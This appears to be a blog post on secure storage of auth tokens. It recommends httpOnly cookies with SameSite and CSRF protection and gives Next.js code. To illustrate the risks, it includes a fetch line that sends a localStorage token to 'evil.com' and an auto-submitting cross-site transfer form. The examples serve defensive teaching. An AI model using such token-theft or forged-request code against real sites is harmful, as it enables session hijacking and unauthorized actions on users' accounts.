Where Should I Store Auth Tokens?
April 9, 202615 min read0 views
Where Should I Store Auth Tokens?
The Problem
You have a JWT or session token. Where do you put it?
localStorage?sessionStorage?- Cookies?
- In-memory?
Every option has a security tradeoff. Pick wrong and you're vulnerable to XSS or CSRF.
The Quick Answer
| Storage | XSS Vulnerable | CSRF Vulnerable | Persists Refresh | Use When |
|---|---|---|---|---|
localStorage | Yes | No | Yes | Never for auth tokens |
sessionStorage | Yes | No | No (tab only) | Never for auth tokens |
httpOnly cookie | No | Yes (mitigable) | Yes | Default choice |
| Memory (JS variable) | Yes | No | No | Short-lived SPAs |
Default: Use httpOnly cookies with CSRF protection.
Why Not localStorage?
// ❌ Any XSS can steal your token
localStorage.setItem('token', 'eyJhbG...');
// Attacker injects this via XSS:
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// Your token is now on attacker's server
If there's ANY XSS vulnerability in your app (or any third-party script), the token is gone.
Why httpOnly Cookies?
// ✅ JavaScript cannot access this
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict
httpOnly means JavaScript can't read it. XSS can't steal it.
The CSRF Problem (And Solution)
Cookies are sent automatically. Attacker can trick user into making requests:
<!-- On evil.com -->
<form action="https://yourapp.com/api/transfer" method="POST">
<input name="amount" value="10000" />
<input name="to" value="attacker" />
</form>
<script>document.forms[0].submit();</script>
Solutions:
- SameSite=Strict — Cookie only sent for same-site requests
- CSRF Token — Require a token that attacker can't guess
- Check Origin header — Reject requests from other origins
// Server-side cookie setup (Next.js API route)
import { cookies } from 'next/headers';
export async function POST(request: Request) {
const { email, password } = await request.json();
const token = await authenticate(email, password);
cookies().set('auth', token, {
httpOnly: true, // JS can't access
secure: true, // HTTPS only
sameSite: 'strict', // No cross-site requests
maxAge: 60 * 60 * 24 * 7, // 7 days
path: '/',
});
return Response.json({ success: true });
}
The Full Setup
1. Login — Set httpOnly Cookie
// app/api/auth/login/route.ts
import { cookies } from 'next/headers';
import { SignJWT } from 'jose';
export async function POST(request: Request) {
const { email, password } = await request.json();
const user = await verifyCredentials(email, password);
if (!user) {
return Response.json({ error: 'Invalid credentials' }, { status: 401 });
}
const token = await new SignJWT({ userId: user.id })
.setProtectedHeader({ alg: 'HS256' })
.setExpirationTime('7d')
.sign(new TextEncoder().encode(process.env.JWT_SECRET));
cookies().set('auth', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 60 * 60 * 24 * 7,
});
return Response.json({ user: { id: user.id, email: user.email } });
}
2. Authenticated Requests — Cookie Sent Automatically
// app/api/user/route.ts
import { cookies } from 'next/headers';
import { jwtVerify } from 'jose';
export async function GET() {
const token = cookies().get('auth')?.value;
if (!token) {
return Response.json({ error: 'Unauthorized' }, { status: 401 });
}
try {
const { payload } = await jwtVerify(
token,
new TextEncoder().encode(process.env.JWT_SECRET)
);
const user = await db.user.findUnique({ where: { id: payload.userId } });
return Response.json({ user });
} catch {
return Response.json({ error: 'Invalid token' }, { status: 401 });
}
}
3. Logout — Clear Cookie
// app/api/auth/logout/route.ts
import { cookies } from 'next/headers';
export async function POST() {
cookies().delete('auth');
return Response.json({ success: true });
}
4. Client — Just Make Requests
// No token handling on client — cookies are automatic
async function getUser() {
const res = await fetch('/api/user', { credentials: 'include' });
return res.json();
}
async function logout() {
await fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });
router.push('/login');
}
When Memory Storage Makes Sense
For short-lived tokens in SPAs that don't need to survive page refresh:
// Token in memory — gone on refresh, but safe from XSS persistence
let accessToken: string | null = null;
async function login(email: string, password: string) {
const res = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
});
const { token } = await res.json();
accessToken = token; // In memory only
}
async function apiCall(endpoint: string) {
return fetch(endpoint, {
headers: { Authorization: `Bearer ${accessToken}` },
});
}
Use with refresh token in httpOnly cookie:
┌─────────────────────────────────────────────────┐
│ Access Token: In memory (short-lived, 15 min) │
│ Refresh Token: httpOnly cookie (long-lived, 7d) │
└─────────────────────────────────────────────────┘
When access token expires, silently refresh using the cookie.
Decision Tree
Is this a traditional web app with page reloads?
└─ YES → httpOnly cookie, SameSite=Strict
Is this an SPA that needs tokens across tabs?
└─ YES → httpOnly cookie for refresh, memory for access
Is this an SPA in a single tab, high security required?
└─ YES → Memory only, re-auth on refresh
Are you building a public API?
└─ YES → Bearer token (client stores it however they want)
TL;DR
- Never use localStorage for auth tokens — XSS can steal them
- Default to httpOnly cookies — JS can't read them
- Add SameSite=Strict — Prevents most CSRF
- For SPAs: httpOnly refresh + in-memory access — Best of both worlds
- Always use HTTPS — Secure flag requires it
What did you think?